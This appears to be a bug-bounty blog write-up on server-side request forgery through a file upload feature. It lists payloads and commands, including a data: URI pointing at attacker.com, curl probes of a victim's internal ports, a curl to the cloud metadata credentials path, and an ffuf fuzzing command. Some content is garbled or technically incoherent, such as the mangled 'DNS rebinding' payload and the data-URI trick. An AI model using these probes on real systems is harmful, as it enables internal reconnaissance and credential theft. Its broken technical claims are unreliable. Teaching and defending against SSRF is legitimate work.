Exploiting SSRF Vulnerabilities: A Deep Dive into File Upload Bypass Techniques

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Introduction

Server-Side Request Forgery (SSRF) remains a critical web vulnerability, allowing attackers to force a server to make unauthorized internal requests. In this article, we dissect a real-world SSRF exploit discovered in a HackerOne private program, where a file upload feature was manipulated to trigger internal service enumeration.

Learning Objectives

  • Understand how SSRF vulnerabilities occur in file upload functionalities.
  • Learn how to craft malicious payloads to bypass security checks.
  • Discover mitigation techniques to prevent SSRF attacks.

You Should Know

1. SSRF via File Upload Manipulation

Payload Used:

data:image/png;base64,http://attacker.com/internal-service

How It Works:

  1. The application accepted file uploads with `data:` URIs.
  2. By replacing the image data with a malicious URL (`http://`), the server processed it as a request.
  3. This allowed the attacker to force the server to fetch internal resources.

Mitigation:

  • Disallow `data:` URIs in file uploads.
  • Implement strict URL validation using regex or allowlists.

2. Enumerating Internal Services with SSRF

Tool: `curl` (Linux/Windows)

curl -v "http://victim.com/upload?url=http://127.0.0.1:8080/admin"

Steps:

  1. Test for SSRF by sending requests to internal IPs (127.0.0.1, 192.168.x.x).
  2. Use Burp Suite or `curl` to manipulate headers (X-Forwarded-For, Host).
  3. Identify open ports and services (3306 for MySQL, `6379` for Redis).

3. Bypassing SSRF Protections with DNS Rebinding

Payload:

http://[email protected]

Explanation:

  • Some SSRF filters check only the initial DNS resolution.
  • DNS rebinding tricks the server into connecting to an internal IP after validation.

Defense:

  • Enforce strict DNS resolution checks.
  • Use network segmentation to restrict internal access.

4. Exploiting Cloud Metadata APIs via SSRF

AWS IMDSv1 (Vulnerable):

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Mitigation:

  • Upgrade to AWS IMDSv2 (requires session tokens).
  • Block metadata endpoints at the network level.

5. Automating SSRF Detection with ffuf

Command:

ffuf -w internal_ips.txt -u "http://victim.com/fetch?url=http://FUZZ" -fs 0

Workflow:

  1. Use a wordlist (internal_ips.txt) containing common internal IPs.
  2. Filter out false positives with `-fs` (filter by size).

What Undercode Say

  • Key Takeaway 1: SSRF vulnerabilities often lurk in overlooked features like file uploads and webhooks.
  • Key Takeaway 2: Attackers increasingly abuse cloud metadata APIs, making server hardening essential.

Analysis:

The rise of SSRF attacks highlights the need for layered defenses—input validation, network segmentation, and strict cloud configurations. As APIs and microservices grow, so does the attack surface. Organizations must adopt zero-trust principles to mitigate these risks.

Prediction

With cloud adoption accelerating, SSRF will remain a top attack vector, especially in serverless environments. Future exploits may leverage AI-driven payload generation, making automated detection tools critical for defense.

This article provides actionable insights for both offensive and defensive security professionals. Stay vigilant—SSRF is far from obsolete. 🚨

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Reported By: Memmedrehimzade Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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